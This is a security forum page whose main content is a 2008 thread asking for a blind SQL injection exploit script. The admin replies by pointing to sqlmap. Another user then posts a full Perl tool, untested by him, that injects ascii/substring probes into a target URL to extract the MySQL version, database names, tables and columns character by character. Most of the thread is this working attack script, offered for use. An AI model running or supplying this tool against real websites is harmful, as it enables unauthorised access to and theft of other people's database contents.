Waraxe IT Security Portal
Login or Register
November 15, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 89
Members: 0
Total: 89
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> ( Script ) SQL injection Blind ?
Post new topicReply to topic View previous topic :: View next topic
( Script ) SQL injection Blind ?
PostPosted: Tue Apr 08, 2008 11:59 am Reply with quote
w0rm
Active user
Active user
Joined: Feb 22, 2008
Posts: 49




Hi Cool some one can help me , i need a script perl or php to exploite a Vulnerbility SQL injection Blind , and Show all Tables Name and Columns Name ?? , thanks for any help ...
View user's profile Send private message
PostPosted: Wed Apr 09, 2008 12:52 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Maybe this tool:

http://sqlmap.sourceforge.net/

It needs python though ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Jul 15, 2008 7:42 pm Reply with quote
faka
Regular user
Regular user
Joined: Nov 20, 2007
Posts: 7




Quote:
#!/usr/bin/perl

# Critical Security, 2006 (http://www.critical.lt)

$|=1;

use LWP::UserAgent;
use Getopt::Std;
use Switch;
print "\n+----------------------------------------------+\n";
print "| Critical Security mysql5 db enumeration tool |\n";
print "+----------------------------------------------+\n\n";
getopts('u:vr:ed:t:', \%opts);

$url=$opts{u};
$version=$opts{v}||0;
$regexp=$opts{r};
$enum=$opts{e}||0;
$db=$opts{d};
$tb=$opts{t};
$min=33;
$max=126;
$num=1;
$limit=0;

if($url&&$regexp&&$version) {checkversion();}
elsif($url&&$regexp&&$enum) {enumdb();}
elsif($url&&$regexp&&$db&&$tb) {enumcolumns();}
elsif($url&&$regexp&&$db) {enumtables();}
else {
print "Usage: $0 -u url -r regexp [-v] [-e] -d [dbname] -t [table]\n\n";
print "-u url -blind sql injection url\n";
print "-r regexp -perl regular expression\n";
print "-v -get mysql version\n";
print "-e -get dbs list\n";
print "-d db name -get tables list\n";
print "-t table name -get columns list\n\n";
exit();}

sub checkversion()
{
$func="version";
while(1){
found($min,$max);
if ($char=="0") {print "Mysql version:\n\n$ver\n\n[DONE]\n";exit();}
else {
$ver.=chr($char);
}
$num++;
}
}

sub enumdb()
{
$func="database";
print "Databases:\n\n";
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}

sub enumtables()
{
$func="table";
print "$db tables:\n\n";
$db =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($db);
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}

sub enumcolumns()
{
$func="column";
print "$db.$tb columns:\n\n";
$db =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($db);
$tb =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($tb);
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}

sub found()
{
($fmin,$fmax)=@_;

if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax);return $char;}
$r = int($fmax - ($fmax-$fmin)/2);
$check = ">$r";

if ( &check($check) ) {&found($r,$fmax);} else {&found($fmin,$r+1);}
}

sub crack()
{
($cmin,$cmax)=@_;
$i = $cmin;

while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) {return $i;}
$i++;
}
return;
}

sub check()
{
($exp)=@_;

if($func eq "version"){$query = $url." and ascii(substring(version(),".$num.",1))".$exp;}
elsif($func eq "database"){$query = $url." and ascii(substring((select schema_name from information_schema.schemata limit ".$limit.",1),".$num.",1))".$exp;}
elsif($func eq "table"){$query = $url." and ascii(substring((select table_name from information_schema.tables where table_schema=char($db) limit ".$limit.",1),".$num.",1))".$exp;}
elsif($func eq "column"){$query = $url." and ascii(substring((select column_name from information_schema.columns where table_schema=char($db) and table_name=char($tb) limit ".$limit.",1),".$num.",1))".$exp;}
else {exit();}

$conn = LWP::UserAgent->new() or die;
$res = $conn->get($query);
@data = $res->content;
foreach $result(@data)
{
if ($result =~ /$regexp/) { return 1; }
}
return 0;
}



I did not test it and dont know or working!
View user's profile Send private message
( Script ) SQL injection Blind ?
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.049 Seconds